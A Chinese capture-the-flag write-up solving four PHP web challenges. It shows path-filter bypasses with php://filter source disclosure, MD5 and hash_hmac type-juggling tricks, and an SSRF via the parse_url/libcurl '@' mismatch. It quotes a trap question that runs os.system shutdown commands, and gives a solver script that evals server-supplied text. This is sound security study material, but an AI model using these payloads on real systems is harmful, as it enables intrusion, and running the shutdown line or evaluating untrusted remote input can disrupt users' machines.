week2

1.easy_php
Description
代码审计♂第二弹
URL http://118.24.25.25:9999/easyphp/index.html

进去之后只有一句come on ! second wait you
标题叫做where is my robots,访问robots.txt,显示img/index.php,访问得到源码

<?php
    error_reporting(0);
    $img = $_GET['img'];
    if(!isset($img))
        $img = '1';
    $img = str_replace('../', '', $img);
    include_once($img.".php");
    highlight_file(__FILE__);

显然是文件包含
img由我们提供,但../被替换成了空,可以通过....//来绕过
通过img=....//flag,发现

按一般套路,使用php:://filter伪协议
img=php://filter/read=convert.base64-encode/resource=....//flag
得到base64编码
PD9waHAKICAgIC8vJGZsYWcgPSAnaGdhbWV7WW91XzRyZV9Tb19nMG9kfSc7CiAgICBlY2hvICJtYXliZV95b3Vfc2hvdWxkX3RoaW5rX3RoaW5rIjsK
解码得到flag:hgame{You_4re_So_g0od}
2.php trick
Description
some php tricks
URL http://118.24.3.214:3001
直接给出了源码

<?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
    die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
    die('step 2 fail');
}
if( $str3 == $str4 ){
    die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
    die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
    die('step 5 fail');
}
if(is_numeric($str5)){
    die('step 6 fail');
}
if ($str5<9999999999){
    die('step 7 fail');
}
if ((string)$str5>0){
    die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
    die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
    die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
    die('step 11 fail');
}
else{
    echo $output;
}

一些php的trick,一个一个绕
step1、2就是老生常谈的php弱类型导致的md5比较相同
使用str1=240610708&str2=QNKCDZO绕过
step4使用了!==进行比较,所以无法通过之前的方式绕过
但php的md5函数在接受数组时会返回null,所以使用str3[]=1&str4[]=2绕过
step5比较刁钻,检测QUERY_STRING(也就是url中?后面的部分)中是否存在H_game,但str5又需要我们提交H_game,这里利用php一个特性,在$_GET中的空格(" "),点(".")以及前中括号("[")会变成下划线,所以使用H.game绕过
后面的step6、7、8都可以用数组绕过,所以使用H.game[]=1
step9、10要求使用parse_url解析url变量,得到的host为www.baidu.com,协议为http
这里比较容易满足,用url=http://www.baidu.com即可
但之后会利用url执行cURL会话,所以想要得到flag,关键在url变量
当url中有多个@符号时,parse_url中获取的host是最后一个@符号后面的host,而libcurl则是获取的第一个@符号之后的
当代码对 http://user@eval.com:80@www.baidu.com 进行解析时,parse_url获取的host是www.baidu.com,而调用libcurl进行请求时则是请求的eval.com域名
所以可以使用url=http://@127.0.0.1:80@www.baidu.com绕过限制,对本地服务器进行访问
所以最终提交str1=240610708&str2=QNKCDZO&str3[]=1&str4[]=2&H.game[]=1&url=http://@127.0.0.1:80@www.baidu.com
发现源码打印了两次,这说明成功获取了默认页面的内容
在源码中有//admin.php的提示,所以提交url=http://@127.0.0.1:80@www.baidu.com/admin.php (路径写在后面,如果写在前面会导致parse_url解析将127.0.0.1当作host)
得到源码

<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
    die('only localhost can see it');
}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
    echo "sorry,you can't see it";
}
else{
    echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>

可以通过该文件进行文件包含,但又有file_exists限制访问
通过php://filter伪协议进行包含
url=http://@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/read=convert.base64-encode/resource=flag.php
得到

解码得到flag
hgame{ThEr4_Ar4_s0m4_Php_Tr1cks}
3.PHP Is The Best Language
Description
var_dump了解一下
URL http://118.25.89.91:8888/flag.php
直接给了源码

<?php  

include 'secret.php'; 

#echo $flag; 
#echo $secret; 

if (empty($_POST['gate']) || empty($_POST['key'])) { 
    highlight_file(__FILE__); 
    exit; 
} 

if (isset($_POST['door'])){ 
    $secret = hash_hmac('sha256', $_POST['door'], $secret); 
} 

$gate = hash_hmac('sha256', $_POST['key'], $secret); 

if ($gate !== $_POST['gate']) { 
    echo "Hacker GetOut!!"; 
    exit; 
} 

if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) { 
    echo "Wow!!!"; 
    echo "</br>"; 
    echo $flag; 
} 
else { 
    echo "Hacker GetOut!!"; 
} 

?> 

可以看到有两个限制
①首先需要$gate === $_POST['gate']
我们将前面的变量带进去,可以表示为:
hash_hmac('sha256', $_POST['key'], hash_hmac('sha256', $_POST['door'], $secret)) === $_POST['gate']
hash_hmac是用hmac的方式进行生成MAC(消息验证码,PS:我这学期密码学刚好学过),三个参数依次为加密方式,明文,密钥
可以看到,明文由我们控制,而秘钥由另一个hash_hmac生成,但是所用的密钥$secret我们未知
不过,hash_hmac需要的参数都是字符串,如果明文传入数组,则会返回NULL,所以可以让door为一个数组,这样变成了:
hash_hmac('sha256', $_POST['key'], NULL) === $_POST['gate']
接下来只需要post任意key和对应gate即可绕过
②其次需要(md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1
这个其实没什么好说的,本地写个脚本跑一下,很快就能试出来,再修改一下gate即可得到flag
最终payload:
gate=f035cb68e7821ebf74d4931cd986ef7787bce76bbf52052a7f3693a93c6a7abd&door[]=1&key=eus

4.Baby_Spider
Description
Come to death in the ocean of mathematics together with Li4n0!
Answer 30 questions correctly in a row during 40 seconds(The calculation result is subject to python3),then you can get the flag. Enjoy it~
hint1:The most basic operation of a spider is to disguise itself.
URL http://111.231.140.29:10000
说实话这题太脏了,出题人真是冒着生命危险在出题
进入之后首先要提交队伍token,提交后会给出question

一看是这种形式的题,加上题目描述,显然要写脚本计算(脚本在后面)
做完前九题后碰到了神秘事件,这次的问题是

(lambda __g: [(os.system('shutdown -s -t 0'), (os.system('shutdown now'), None)[1])[1] for __g['os'] in [(__import__('os', __g, __g))]][0])(globals())#-----=?

还好我用的mac,如果是windows玩家eval了这句,立马关机(群里在众筹打出题人)
以为是脑洞之类的东西,然而并没有用
后来给出了hint1,在header中加上了user-agent伪装成浏览器,就没有碰到这个了
第10题开始是正常的数字计算题,然而提交答案发现错误
用浏览器观察(替换cookie)发现浏览器显示的题目与源码不同

猜测显示的应该是真题目
同时在static发现下图

显然是在显示的时候利用css进行了替换,所以在匹配到题目时按照如下规律替换即可:
0 -> 1
1 -> 0
2 -> 2
3 -> 6
4 -> 9
5 -> 4
6 -> 3
7 -> 5
8 -> 8
9 -> 7
这样可以完成10-19题
从第20题开始又发生了错误
再次查看源码
在css中找到了真题目

使用其中的题目可以正常提交,完成所有题目后获得flag

附脚本:

import requests
import re
token = {'token' : 'X'}
answer = {'answer' : '1'}
user = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'}
url = 'http://111.231.140.29:10000/'
s = requests.session()
r = s.post(url, token)
match = re.search(r'<div class="question-container"><span>(.*)=\?</span></div>', r.text)
answer['answer'] = eval(match.group(1))
r = s.post(url + 'solution', data=answer, headers=user)
for i in range(30):
    print(i)
    match = re.search(r'<div class="question-container"><span>(.*)=\?</span></div>', r.text)
    answer['answer'] = eval(match.group(1))
    # if i == 21:
    #     print(s.cookies['session'])
    #     break
    if i >= 9 and i < 19:
        question = match.group(1)
        true_question = ''
        for j in question:
            if j == '0':
                true_question += '1'
            elif j == '1':
                true_question += '0'
            elif j == '3':
                true_question += '6'
            elif j == '4':
                true_question += '9'
            elif j == '5':
                true_question += '4'
            elif j == '6':
                true_question += '3'
            elif j == '7':
                true_question += '5'
            elif j == '9':
                true_question += '7'
            else:
                true_question += j
        answer['answer'] = eval(true_question)
    if i >= 19:
        nextr = s.get('http://111.231.140.29:10000/statics/style.css', headers = user)
        nextmatch = re.search(r'content:"(.*?)=\?";', nextr.text)
        answer['answer'] = eval(nextmatch.group(1))
    r = s.post(url + 'solution', data=answer, headers=user)
    if i == 28:
        print(r.text)
        break
打赏作者